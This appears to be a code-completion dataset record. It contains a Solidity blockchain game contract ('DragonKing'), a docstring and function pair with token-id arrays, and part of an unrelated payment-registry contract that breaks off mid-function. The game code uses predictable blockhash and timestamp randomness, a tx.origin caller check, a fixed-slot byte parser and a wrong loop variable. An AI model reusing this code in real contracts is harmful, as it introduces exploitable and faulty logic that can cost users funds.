interface Token {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _to, uint256 _value) external returns (bool success);
function balanceOf(address who) external view returns (uint256);
}
contract DragonKing is Destructible {
/**
* @dev Throws if called by contract not a user
*/
modifier onlyUser() {
require(msg.sender == tx.origin,
"contracts cannot execute this method"
);
_;
}
struct Character {
uint8 characterType;
uint128 value;
address owner;
uint64 purchaseTimestamp;
}
DragonKingConfig public config;
/** the neverdue token contract used to purchase protection from eruptions and fights */
Token public neverdieToken;
/** the teleport token contract used to send knights to the game scene */
Token public teleportToken;
/** the SKL token contract **/
Token public sklToken;
/** the XP token contract **/
Token public xperToken;
/** array holding ids of the curret characters **/
uint32[] public ids;
/** the id to be given to the next character **/
uint32 public nextId;
/** non-existant character **/
uint16 public constant INVALID_CHARACTER_INDEX = ~uint16(0);
/** the castle treasury **/
uint128 public castleTreasury;
/** the id of the oldest character **/
uint32 public oldest;
/** the character belonging to a given id **/
mapping(uint32 => Character) characters;
/** teleported knights **/
mapping(uint32 => bool) teleported;
/** constant used to signal that there is no King at the moment **/
uint32 constant public noKing = ~uint32(0);
/** total number of characters in the game **/
uint16 public numCharacters;
/** number of characters per type **/
mapping(uint8 => uint16) public numCharactersXType;
/** timestampt of the last eruption event **/
uint256 public lastEruptionTimestamp;
/** timestampt of the last castle loot distribution **/
uint256 public lastCastleLootDistributionTimestamp;
/** character type range constants **/
uint8 public constant DRAGON_MIN_TYPE = 0;
uint8 public constant DRAGON_MAX_TYPE = 5;
uint8 public constant KNIGHT_MIN_TYPE = 6;
uint8 public constant KNIGHT_MAX_TYPE = 11;
uint8 public constant BALLOON_MIN_TYPE = 12;
uint8 public constant BALLOON_MAX_TYPE = 14;
uint8 public constant WIZARD_MIN_TYPE = 15;
uint8 public constant WIZARD_MAX_TYPE = 20;
uint8 public constant ARCHER_MIN_TYPE = 21;
uint8 public constant ARCHER_MAX_TYPE = 26;
uint8 public constant NUMBER_OF_LEVELS = 6;
uint8 public constant INVALID_CHARACTER_TYPE = 27;
/** minimum amount of XPER and SKL to purchase wizards **/
uint8 public MIN_XPER_AMOUNT_TO_PURCHASE_WIZARD = 100;
uint8 public MIN_SKL_AMOUNT_TO_PURCHASE_WIZARD = 50;
/** minimum amount of XPER and SKL to purchase archer **/
uint8 public MIN_XPER_AMOUNT_TO_PURCHASE_ARCHER = 10;
uint8 public MIN_SKL_AMOUNT_TO_PURCHASE_ARCHER = 5;
/** knight cooldown. contains the timestamp of the earliest possible moment to start a fight */
mapping(uint32 => uint) public cooldown;
/** tells the number of times a character is protected */
mapping(uint32 => uint8) public protection;
// EVENTS
/** is fired when new characters are purchased (who bought how many characters of which type?) */
event NewPurchase(address player, uint8 characterType, uint16 amount, uint32 startId);
/** is fired when a player leaves the game */
event NewExit(address player, uint256 totalBalance, uint32[] removedCharacters);
/** is fired when an eruption occurs */
event NewEruption(uint32[] hitCharacters, uint128 value, uint128 gasCost);
/** is fired when a single character is sold **/
event NewSell(uint32 characterId, address player, uint256 value);
/** is fired when a knight fights a dragon **/
event NewFight(uint32 winnerID, uint32 loserID, uint256 value, uint16 probability, uint16 dice);
/** is fired when a knight is teleported to the field **/
event NewTeleport(uint32 characterId);
/** is fired when a protection is purchased **/
event NewProtection(uint32 characterId, uint8 lifes);
/** is fired when a castle loot distribution occurs**/
event NewDistributionCastleLoot(uint128 castleLoot);
/** initializes the contract parameters */
constructor(address tptAddress, address ndcAddress, address sklAddress, address xperAddress, address _configAddress) public {
nextId = 1;
teleportToken = Token(tptAddress);
neverdieToken = Token(ndcAddress);
sklToken = Token(sklAddress);
xperToken = Token(xperAddress);
config = DragonKingConfig(_configAddress);
}
/**
* buys as many characters as possible with the transfered value of the given type
* @param characterType the type of the character
*/
function addCharacters(uint8 characterType) payable public onlyUser {
uint16 amount = uint16(msg.value / config.costs(characterType));
uint16 nchars = numCharacters;
if (characterType >= INVALID_CHARACTER_TYPE || msg.value < config.costs(characterType) || nchars + amount > config.maxCharacters()) revert();
uint32 nid = nextId;
//if type exists, enough ether was transferred and there are less than maxCharacters characters in the game
if (characterType <= DRAGON_MAX_TYPE) {
//dragons enter the game directly
if (oldest == 0 || oldest == noKing)
oldest = nid;
for (uint8 i = 0; i < amount; i++) {
addCharacter(nid + i, nchars + i);
characters[nid + i] = Character(characterType, config.values(characterType), msg.sender, uint64(now));
}
numCharactersXType[characterType] += amount;
numCharacters += amount;
}
else {
uint256 amountSKL = sklToken.balanceOf(msg.sender);
uint256 amountXPER = xperToken.balanceOf(msg.sender);
if (characterType >= WIZARD_MIN_TYPE && characterType <= WIZARD_MAX_TYPE) {
require( amountSKL >= MIN_SKL_AMOUNT_TO_PURCHASE_WIZARD && amountXPER >= MIN_XPER_AMOUNT_TO_PURCHASE_WIZARD,
"insufficient amount of SKL and XPER tokens"
);
}
if (characterType >= ARCHER_MIN_TYPE && characterType <= ARCHER_MAX_TYPE) {
require( amountSKL >= MIN_SKL_AMOUNT_TO_PURCHASE_ARCHER && amountXPER >= MIN_XPER_AMOUNT_TO_PURCHASE_ARCHER,
"insufficient amount of SKL and XPER tokens"
);
}
// to enter game knights, mages, and archers should be teleported later
for (uint8 j = 0; j < amount; j++) {
characters[nid + j] = Character(characterType, config.values(characterType), msg.sender, uint64(now));
}
}
nextId = nid + amount;
emit NewPurchase(msg.sender, characterType, amount, nid);
}
/**
* adds a single dragon of the given type to the ids array, which is used to iterate over all characters
* @param nId the id the character is about to receive
* @param nchars the number of characters currently in the game
*/
function addCharacter(uint32 nId, uint16 nchars) internal {
if (nchars < ids.length)
ids[nchars] = nId;
else
ids.push(nId);
}
/**
* leave the game.
* pays out the sender's balance and removes him and his characters from the game
* */
function exit() public {
uint32[] memory removed = new uint32[](50);
uint8 count;
uint32 lastId;
uint playerBalance;
uint16 nchars = numCharacters;
for (uint16 i = 0; i < nchars; i++) {
if (characters[ids[i]].owner == msg.sender
&& characters[ids[i]].purchaseTimestamp + 1 days < now
&& (characters[ids[i]].characterType < BALLOON_MIN_TYPE || characters[ids[i]].characterType > BALLOON_MAX_TYPE)) {
//first delete all characters at the end of the array
while (nchars > 0
&& characters[ids[nchars - 1]].owner == msg.sender
&& characters[ids[nchars - 1]].purchaseTimestamp + 1 days < now
&& (characters[ids[i]].characterType < BALLOON_MIN_TYPE || characters[ids[i]].characterType > BALLOON_MAX_TYPE)) {
nchars--;
lastId = ids[nchars];
numCharactersXType[characters[lastId].characterType]--;
playerBalance += characters[lastId].value;
removed[count] = lastId;
count++;
if (lastId == oldest) oldest = 0;
delete characters[lastId];
}
//replace the players character by the last one
if (nchars > i + 1) {
playerBalance += characters[ids[i]].value;
removed[count] = ids[i];
count++;
nchars--;
replaceCharacter(i, nchars);
}
}
}
numCharacters = nchars;
emit NewExit(msg.sender, playerBalance, removed); //fire the event to notify the client
msg.sender.transfer(playerBalance);
if (oldest == 0)
findOldest();
}
/**
* Replaces the character with the given id with the last character in the array
* @param index the index of the character in the id array
* @param nchars the number of characters
* */
function replaceCharacter(uint16 index, uint16 nchars) internal {
uint32 characterId = ids[index];
numCharactersXType[characters[characterId].characterType]--;
if (characterId == oldest) oldest = 0;
delete characters[characterId];
ids[index] = ids[nchars];
delete ids[nchars];
}
/**
* The volcano eruption can be triggered by anybody but only if enough time has passed since the last eription.
* The volcano hits up to a certain percentage of characters, but at least one.
* The percantage is specified in 'percentageToKill'
* */
function triggerVolcanoEruption() public onlyUser {
require(now >= lastEruptionTimestamp + config.eruptionThreshold(),
"not enough time passed since last eruption");
require(numCharacters > 0,
"there are no characters in the game");
lastEruptionTimestamp = now;
uint128 pot;
uint128 value;
uint16 random;
uint32 nextHitId;
uint16 nchars = numCharacters;
uint32 howmany = nchars * config.percentageToKill() / 100;
uint128 neededGas = 80000 + 10000 * uint32(nchars);
if(howmany == 0) howmany = 1;//hit at least 1
uint32[] memory hitCharacters = new uint32[](howmany);
bool[] memory alreadyHit = new bool[](nextId);
uint8 i = 0;
uint16 j = 0;
while (i < howmany) {
j++;
random = uint16(generateRandomNumber(lastEruptionTimestamp + j) % nchars);
nextHitId = ids[random];
if (!alreadyHit[nextHitId]) {
alreadyHit[nextHitId] = true;
hitCharacters[i] = nextHitId;
value = hitCharacter(random, nchars, 0);
if (value > 0) {
nchars--;
}
pot += value;
i++;
}
}
uint128 gasCost = uint128(neededGas * tx.gasprice);
numCharacters = nchars;
if (pot > gasCost){
distribute(pot - gasCost); //distribute the pot minus the oraclize gas costs
emit NewEruption(hitCharacters, pot - gasCost, gasCost);
}
else
emit NewEruption(hitCharacters, 0, gasCost);
}
/**
* Knight can attack a dragon.
* Archer can attack only a balloon.
* Dragon can attack wizards and archers.
* Wizard can attack anyone, except balloon.
* Balloon cannot attack.
* The value of the loser is transfered to the winner.
* @param characterID the ID of the knight to perfrom the attack
* @param characterIndex the index of the knight in the ids-array. Just needed to save gas costs.
* In case it's unknown or incorrect, the index is looked up in the array.
* */
function fight(uint32 characterID, uint16 characterIndex) public onlyUser {
if (characterID != ids[characterIndex])
characterIndex = getCharacterIndex(characterID);
Character storage character = characters[characterID];
require(cooldown[characterID] + config.CooldownThreshold() <= now,
"not enough time passed since the last fight of this character");
require(character.owner == msg.sender,
"only owner can initiate a fight for this character");
uint8 ctype = character.characterType;
require(ctype < BALLOON_MIN_TYPE || ctype > BALLOON_MAX_TYPE,
"balloons cannot fight");
uint16 adversaryIndex = getRandomAdversary(characterID, ctype);
assert(adversaryIndex != INVALID_CHARACTER_INDEX);
uint32 adversaryID = ids[adversaryIndex];
Character storage adversary = characters[adversaryID];
uint128 value;
uint16 base_probability;
uint16 dice = uint16(generateRandomNumber(characterID) % 100);
uint256 characterPower = sklToken.balanceOf(character.owner) / 10**15 + xperToken.balanceOf(character.owner);
uint256 adversaryPower = sklToken.balanceOf(adversary.owner) / 10**15 + xperToken.balanceOf(adversary.owner);
if (character.value == adversary.value) {
base_probability = 50;
if (characterPower > adversaryPower) {
base_probability += uint16(100 / config.fightFactor());
} else if (adversaryPower > characterPower) {
base_probability -= uint16(100 / config.fightFactor());
}
} else if (character.value > adversary.value) {
base_probability = 100;
if (adversaryPower > characterPower) {
base_probability -= uint16((100 * adversary.value) / character.value / config.fightFactor());
}
} else if (characterPower > adversaryPower) {
base_probability += uint16((100 * character.value) / adversary.value / config.fightFactor());
}
if (dice >= base_probability) {
// adversary won
if (adversary.characterType < BALLOON_MIN_TYPE || adversary.characterType > BALLOON_MAX_TYPE) {
value = hitCharacter(characterIndex, numCharacters, adversary.characterType);
if (value > 0) {
numCharacters--;
}
if (adversary.characterType >= ARCHER_MIN_TYPE && adversary.characterType <= ARCHER_MAX_TYPE) {
castleTreasury += value;
} else {
adversary.value += value;
}
emit NewFight(adversaryID, characterID, value, base_probability, dice);
} else {
emit NewFight(adversaryID, characterID, 0, base_probability, dice); // balloons do not hit back
}
} else {
// character won
value = hitCharacter(adversaryIndex, numCharacters, character.characterType);
if (value > 0) {
numCharacters--;
}
if (character.characterType >= ARCHER_MIN_TYPE && character.characterType <= ARCHER_MAX_TYPE) {
castleTreasury += value;
} else {
character.value += value;
}
if (oldest == 0) findOldest();
emit NewFight(characterID, adversaryID, value, base_probability, dice);
}
cooldown[characterID] = now;
}
/*
* @param characterType
* @param adversaryType
* @return whether adversaryType is a valid type of adversary for a given character
*/
function isValidAdversary(uint8 characterType, uint8 adversaryType) pure returns (bool) {
if (characterType >= KNIGHT_MIN_TYPE && characterType <= KNIGHT_MAX_TYPE) { // knight
return (adversaryType <= DRAGON_MAX_TYPE);
} else if (characterType >= WIZARD_MIN_TYPE && characterType <= WIZARD_MAX_TYPE) { // wizard
return (adversaryType < BALLOON_MIN_TYPE || adversaryType > BALLOON_MAX_TYPE);
} else if (characterType >= DRAGON_MIN_TYPE && characterType <= DRAGON_MAX_TYPE) { // dragon
return (adversaryType >= WIZARD_MIN_TYPE);
} else if (characterType >= ARCHER_MIN_TYPE && characterType <= ARCHER_MAX_TYPE) { // archer
return ((adversaryType >= BALLOON_MIN_TYPE && adversaryType <= BALLOON_MAX_TYPE)
|| (adversaryType >= KNIGHT_MIN_TYPE && adversaryType <= KNIGHT_MAX_TYPE));
}
return false;
}
/**
* pick a random adversary.
* @param nonce a nonce to make sure there's not always the same adversary chosen in a single block.
* @return the index of a random adversary character
* */
function getRandomAdversary(uint256 nonce, uint8 characterType) internal view returns(uint16) {
uint16 randomIndex = uint16(generateRandomNumber(nonce) % numCharacters);
// use 7, 11 or 13 as step size. scales for up to 1000 characters
uint16 stepSize = numCharacters % 7 == 0 ? (numCharacters % 11 == 0 ? 13 : 11) : 7;
uint16 i = randomIndex;
//if the picked character is a knight or belongs to the sender, look at the character + stepSizes ahead in the array (modulo the total number)
//will at some point return to the startingPoint if no character is suited
do {
if (isValidAdversary(characterType, characters[ids[i]].characterType) && characters[ids[i]].owner != msg.sender) {
return i;
}
i = (i + stepSize) % numCharacters;
} while (i != randomIndex);
return INVALID_CHARACTER_INDEX;
}
/**
* generate a random number.
* @param nonce a nonce to make sure there's not always the same number returned in a single block.
* @return the random number
* */
function generateRandomNumber(uint256 nonce) internal view returns(uint) {
return uint(keccak256(block.blockhash(block.number - 1), now, numCharacters, nonce));
}
/**
* Hits the character of the given type at the given index.
* Wizards can knock off two protections. Other characters can do only one.
* @param index the index of the character
* @param nchars the number of characters
* @return the value gained from hitting the characters (zero is the character was protected)
* */
function hitCharacter(uint16 index, uint16 nchars, uint8 characterType) internal returns(uint128 characterValue) {
uint32 id = ids[index];
uint8 knockOffProtections = 1;
if (characterType >= WIZARD_MIN_TYPE && characterType <= WIZARD_MAX_TYPE) {
knockOffProtections = 2;
}
if (protection[id] >= knockOffProtections) {
protection[id] = protection[id] - knockOffProtections;
return 0;
}
characterValue = characters[ids[index]].value;
nchars--;
replaceCharacter(index, nchars);
}
/**
* finds the oldest character
* */
function findOldest() public {
uint32 newOldest = noKing;
for (uint16 i = 0; i < numCharacters; i++) {
if (ids[i] < newOldest && characters[ids[i]].characterType <= DRAGON_MAX_TYPE)
newOldest = ids[i];
}
oldest = newOldest;
}
/**
* distributes the given amount among the surviving characters
* @param totalAmount nthe amount to distribute
*/
function distribute(uint128 totalAmount) internal {
uint128 amount;
if (oldest == 0)
findOldest();
if (oldest != noKing) {
//pay 10% to the oldest dragon
characters[oldest].value += totalAmount / 10;
amount = totalAmount / 10 * 9;
} else {
amount = totalAmount;
}
//distribute the rest according to their type
uint128 valueSum;
uint8 size = ARCHER_MAX_TYPE;
uint128[] memory shares = new uint128[](size);
for (uint8 v = 0; v < size; v++) {
if ((v < BALLOON_MIN_TYPE || v > BALLOON_MAX_TYPE) && numCharactersXType[v] > 0) {
valueSum += config.values(v);
}
}
for (uint8 m = 0; m < size; m++) {
if ((v < BALLOON_MIN_TYPE || v > BALLOON_MAX_TYPE) && numCharactersXType[m] > 0) {
shares[m] = amount * config.values(m) / valueSum / numCharactersXType[m];
}
}
uint8 cType;
for (uint16 i = 0; i < numCharacters; i++) {
cType = characters[ids[i]].characterType;
if (cType < BALLOON_MIN_TYPE || cType > BALLOON_MAX_TYPE)
characters[ids[i]].value += shares[characters[ids[i]].characterType];
}
}
/**
* allows the owner to collect the accumulated fees
* sends the given amount to the owner's address if the amount does not exceed the
* fees (cannot touch the players' balances) minus 100 finney (ensure that oraclize fees can be paid)
* @param amount the amount to be collected
* */
function collectFees(uint128 amount) public onlyOwner {
uint collectedFees = getFees();
if (amount + 100 finney < collectedFees) {
owner.transfer(amount);
}
}
/**
* withdraw NDC and TPT tokens
*/
function withdraw() public onlyOwner {
uint256 ndcBalance = neverdieToken.balanceOf(this);
assert(neverdieToken.transfer(owner, ndcBalance));
uint256 tptBalance = teleportToken.balanceOf(this);
assert(teleportToken.transfer(owner, tptBalance));
}
/**
* pays out the players.
* */
function payOut() public onlyOwner {
for (uint16 i = 0; i < numCharacters; i++) {
characters[ids[i]].owner.transfer(characters[ids[i]].value);
delete characters[ids[i]];
}
delete ids;
numCharacters = 0;
}
/**
* pays out the players and kills the game.
* */
function stop() public onlyOwner {
withdraw();
payOut();
destroy();
}
/* @dev distributes castle loot among archers */
function distributeCastleLoot() external onlyUser {
require(now >= lastCastleLootDistributionTimestamp + config.castleLootDistributionThreshold(),
"not enough time passed since the last castle loot distribution");
lastCastleLootDistributionTimestamp = now;
uint128 luckFactor = uint128(generateRandomNumber(now) % 51);
if (luckFactor < 5) {
luckFactor = 5;
}
uint128 amount = castleTreasury * luckFactor / 100;
uint128 valueSum;
uint128[] memory shares = new uint128[](NUMBER_OF_LEVELS);
uint16 archersCount;
uint32[] memory archers = new uint32[](numCharacters);
uint8 cType;
for (uint8 i = 0; i < ids.length; i++) {
cType = characters[ids[i]].characterType;
if ((cType >= ARCHER_MIN_TYPE && cType <= ARCHER_MAX_TYPE) && (((uint64(now) - characters[ids[i]].purchaseTimestamp) / config.eruptionThreshold()) >= 7)) {
valueSum += config.values(cType);
archers[archersCount] = ids[i];
archersCount++;
}
}
if (valueSum > 0) {
for (uint8 j = 0; j < NUMBER_OF_LEVELS; j++) {
shares[j] = amount * config.values(ARCHER_MIN_TYPE + j) / valueSum;
}
for (uint16 k = 0; k < archersCount; k++) {
characters[archers[k]].value += shares[characters[archers[k]].characterType - ARCHER_MIN_TYPE];
}
castleTreasury -= amount;
emit NewDistributionCastleLoot(amount);
} else {
emit NewDistributionCastleLoot(0);
}
}
/**
* sell the character of the given id
* throws an exception in case of a knight not yet teleported to the game
* @param characterId the id of the character
* */
function sellCharacter(uint32 characterId) public onlyUser {
require(msg.sender == characters[characterId].owner,
"only owners can sell their characters");
require(characters[characterId].characterType < BALLOON_MIN_TYPE || characters[characterId].characterType > BALLOON_MAX_TYPE,
"balloons are not sellable");
require(characters[characterId].purchaseTimestamp + 1 days < now,
"character can be sold only 1 day after the purchase");
uint128 val = characters[characterId].value;
numCharacters--;
replaceCharacter(getCharacterIndex(characterId), numCharacters);
msg.sender.transfer(val);
if (oldest == 0)
findOldest();
emit NewSell(characterId, msg.sender, val);
}
/**
* receive approval to spend some tokens.
* used for teleport and protection.
* @param sender the sender address
* @param value the transferred value
* @param tokenContract the address of the token contract
* @param callData the data passed by the token contract
* */
function receiveApproval(address sender, uint256 value, address tokenContract, bytes callData) public {
uint32 id;
uint256 price;
if (msg.sender == address(teleportToken)) {
id = toUint32(callData);
price = config.teleportPrice();
if (characters[id].characterType >= BALLOON_MIN_TYPE && characters[id].characterType <= WIZARD_MAX_TYPE) {
price *= 2;
}
require(value >= price,
"insufficinet amount of tokens to teleport this character");
assert(teleportToken.transferFrom(sender, this, price));
teleportCharacter(id);
} else if (msg.sender == address(neverdieToken)) {
id = toUint32(callData);
// user can purchase extra lifes only right after character purchaes
// in other words, user value should be equal the initial value
uint8 cType = characters[id].characterType;
require(characters[id].value == config.values(cType),
"protection could be bought only before the first fight and before the first volcano eruption");
// calc how many lifes user can actually buy
// the formula is the following:
uint256 lifePrice;
uint8 max;
if(cType <= KNIGHT_MAX_TYPE || (cType >= ARCHER_MIN_TYPE && cType <= ARCHER_MAX_TYPE)){
lifePrice = ((cType % NUMBER_OF_LEVELS) + 1) * config.protectionPrice();
max = 3;
} else if (cType >= BALLOON_MIN_TYPE && cType <= BALLOON_MAX_TYPE) {
lifePrice = (((cType+3) % NUMBER_OF_LEVELS) + 1) * config.protectionPrice() * 2;
max = 6;
} else if (cType >= WIZARD_MIN_TYPE && cType <= WIZARD_MAX_TYPE) {
lifePrice = (((cType+3) % NUMBER_OF_LEVELS) + 1) * config.protectionPrice() * 2;
max = 3;
}
price = 0;
uint8 i = protection[id];
for (i; i < max && value >= price + lifePrice * (i + 1); i++) {
price += lifePrice * (i + 1);
}
assert(neverdieToken.transferFrom(sender, this, price));
protectCharacter(id, i);
} else {
revert("Should be either from Neverdie or Teleport tokens");
}
}
/**
* Knights, balloons, wizards, and archers are only entering the game completely, when they are teleported to the scene
* @param id the character id
* */
function teleportCharacter(uint32 id) internal {
// ensure we do not teleport twice
require(teleported[id] == false,
"already teleported");
teleported[id] = true;
Character storage character = characters[id];
require(character.characterType > DRAGON_MAX_TYPE,
"dragons do not need to be teleported"); //this also makes calls with non-existent ids fail
addCharacter(id, numCharacters);
numCharacters++;
numCharactersXType[character.characterType]++;
emit NewTeleport(id);
}
/**
* adds protection to a character
* @param id the character id
* @param lifes the number of protections
* */
function protectCharacter(uint32 id, uint8 lifes) internal {
protection[id] = lifes;
emit NewProtection(id, lifes);
}
/****************** GETTERS *************************/
/**
* returns the character of the given id
* @param characterId the character id
* @return the type, value and owner of the character
* */
function getCharacter(uint32 characterId) public view returns(uint8, uint128, address) {
return (characters[characterId].characterType, characters[characterId].value, characters[characterId].owner);
}
/**
* returns the index of a character of the given id
* @param characterId the character id
* @return the character id
* */
function getCharacterIndex(uint32 characterId) constant public returns(uint16) {
for (uint16 i = 0; i < ids.length; i++) {
if (ids[i] == characterId) {
return i;
}
}
revert();
}
/**
* returns 10 characters starting from a certain indey
* @param startIndex the index to start from
* @return 4 arrays containing the ids, types, values and owners of the characters
* */
function get10Characters(uint16 startIndex) constant public returns(uint32[10] characterIds, uint8[10] types, uint128[10] values, address[10] owners) {
uint32 endIndex = startIndex + 10 > numCharacters ? numCharacters : startIndex + 10;
uint8 j = 0;
uint32 id;
for (uint16 i = startIndex; i < endIndex; i++) {
id = ids[i];
characterIds[j] = id;
types[j] = characters[id].characterType;
values[j] = characters[id].value;
owners[j] = characters[id].owner;
j++;
}
}
/**
* returns the number of dragons in the game
* @return the number of dragons
* */
function getNumDragons() constant public returns(uint16 numDragons) {
for (uint8 i = DRAGON_MIN_TYPE; i <= DRAGON_MAX_TYPE; i++)
numDragons += numCharactersXType[i];
}
/**
* returns the number of wizards in the game
* @return the number of wizards
* */
function getNumWizards() constant public returns(uint16 numWizards) {
for (uint8 i = WIZARD_MIN_TYPE; i <= WIZARD_MAX_TYPE; i++)
numWizards += numCharactersXType[i];
}
/**
* returns the number of archers in the game
* @return the number of archers
* */
function getNumArchers() constant public returns(uint16 numArchers) {
for (uint8 i = ARCHER_MIN_TYPE; i <= ARCHER_MAX_TYPE; i++)
numArchers += numCharactersXType[i];
}
/**
* returns the number of knights in the game
* @return the number of knights
* */
function getNumKnights() constant public returns(uint16 numKnights) {
for (uint8 i = KNIGHT_MIN_TYPE; i <= KNIGHT_MAX_TYPE; i++)
numKnights += numCharactersXType[i];
}
/**
* @return the accumulated fees
* */
function getFees() constant public returns(uint) {
uint reserved = 0;
for (uint16 j = 0; j < numCharacters; j++)
reserved += characters[ids[j]].value;
return address(this).balance - reserved;
}
/************* HELPERS ****************/
/**
* only works for bytes of length < 32
* @param b the byte input
* @return the uint
* */
function toUint32(bytes b) internal pure returns(uint32) {
bytes32 newB;
assembly {
newB: = mload(0xa0)
}
return uint32(newB);
}
}
|
* returns the number of wizards in the game @return the number of wizards /
|
function getNumWizards() constant public returns(uint16 numWizards) {
for (uint8 i = WIZARD_MIN_TYPE; i <= WIZARD_MAX_TYPE; i++)
numWizards += numCharactersXType[i];
}
| 1,758,065 |
[
1,
6154,
326,
1300,
434,
24204,
87,
316,
326,
7920,
327,
326,
1300,
434,
24204,
87,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11187,
27130,
87,
1435,
5381,
1071,
1135,
12,
11890,
2313,
818,
27130,
87,
13,
288,
203,
565,
364,
261,
11890,
28,
277,
273,
678,
6867,
8085,
67,
6236,
67,
2399,
31,
277,
1648,
678,
6867,
8085,
67,
6694,
67,
2399,
31,
277,
27245,
203,
1377,
818,
27130,
87,
1011,
818,
11600,
60,
559,
63,
77,
15533,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/lib/interface/IPayRegistry.sol
pragma solidity ^0.5.1;
/**
* @title PayRegistry interface
*/
interface IPayRegistry {
function calculatePayId(bytes32 _payHash, address _setter) external pure returns(bytes32);
function setPayAmount(bytes32 _payHash, uint _amt) external;
function setPayDeadline(bytes32 _payHash, uint _deadline) external;
function setPayInfo(bytes32 _payHash, uint _amt, uint _deadline) external;
function setPayAmounts(bytes32[] calldata _payHashes, uint[] calldata _amts) external;
function setPayDeadlines(bytes32[] calldata _payHashes, uint[] calldata _deadlines) external;
function setPayInfos(bytes32[] calldata _payHashes, uint[] calldata _amts, uint[] calldata _deadlines) external;
function getPayAmounts(
bytes32[] calldata _payIds,
uint _lastPayResolveDeadline
) external view returns(uint[] memory);
function getPayInfo(bytes32 _payId) external view returns(uint, uint);
event PayInfoUpdate(bytes32 indexed payId, uint amount, uint resolveDeadline);
}
// File: contracts/PayRegistry.sol
pragma solidity ^0.5.1;
/**
* @title Pay Registry contract
* @notice Implementation of a global registry to record payment results
* reported by different PayResolvers.
*/
contract PayRegistry is IPayRegistry {
struct PayInfo {
uint amount;
uint resolveDeadline;
}
// bytes32 payId => PayInfo payInfo
mapping(bytes32 => PayInfo) public payInfoMap;
/**
* @notice Calculate pay id
* @param _payHash hash of serialized condPay
* @param _setter payment info setter, i.e. pay resolver
* @return calculated pay id
*/
function calculatePayId(bytes32 _payHash, address _setter) public pure returns(bytes32) {
return keccak256(abi.encodePacked(_payHash, _setter));
}
function setPayAmount(bytes32 _payHash, uint _amt) external {
bytes32 payId = calculatePayId(_payHash, msg.sender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.amount = _amt;
emit PayInfoUpdate(payId, _amt, payInfo.resolveDeadline);
}
function setPayDeadline(bytes32 _payHash, uint _deadline) external {
bytes32 payId = calculatePayId(_payHash, msg.sender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.resolveDeadline = _deadline;
emit PayInfoUpdate(payId, payInfo.amount, _deadline);
}
function setPayInfo(bytes32 _payHash, uint _amt, uint _deadline) external {
bytes32 payId = calculatePayId(_payHash, msg.sender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.amount = _amt;
payInfo.resolveDeadline = _deadline;
emit PayInfoUpdate(payId, _amt, _deadline);
}
function setPayAmounts(bytes32[] calldata _payHashes, uint[] calldata _amts) external {
require(_payHashes.length == _amts.length, "Lengths do not match");
bytes32 payId;
address msgSender = msg.sender;
for (uint i = 0; i < _payHashes.length; i++) {
payId = calculatePayId(_payHashes[i], msgSender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.amount = _amts[i];
emit PayInfoUpdate(payId, _amts[i], payInfo.resolveDeadline);
}
}
function setPayDeadlines(bytes32[] calldata _payHashes, uint[] calldata _deadlines) external {
require(_payHashes.length == _deadlines.length, "Lengths do not match");
bytes32 payId;
address msgSender = msg.sender;
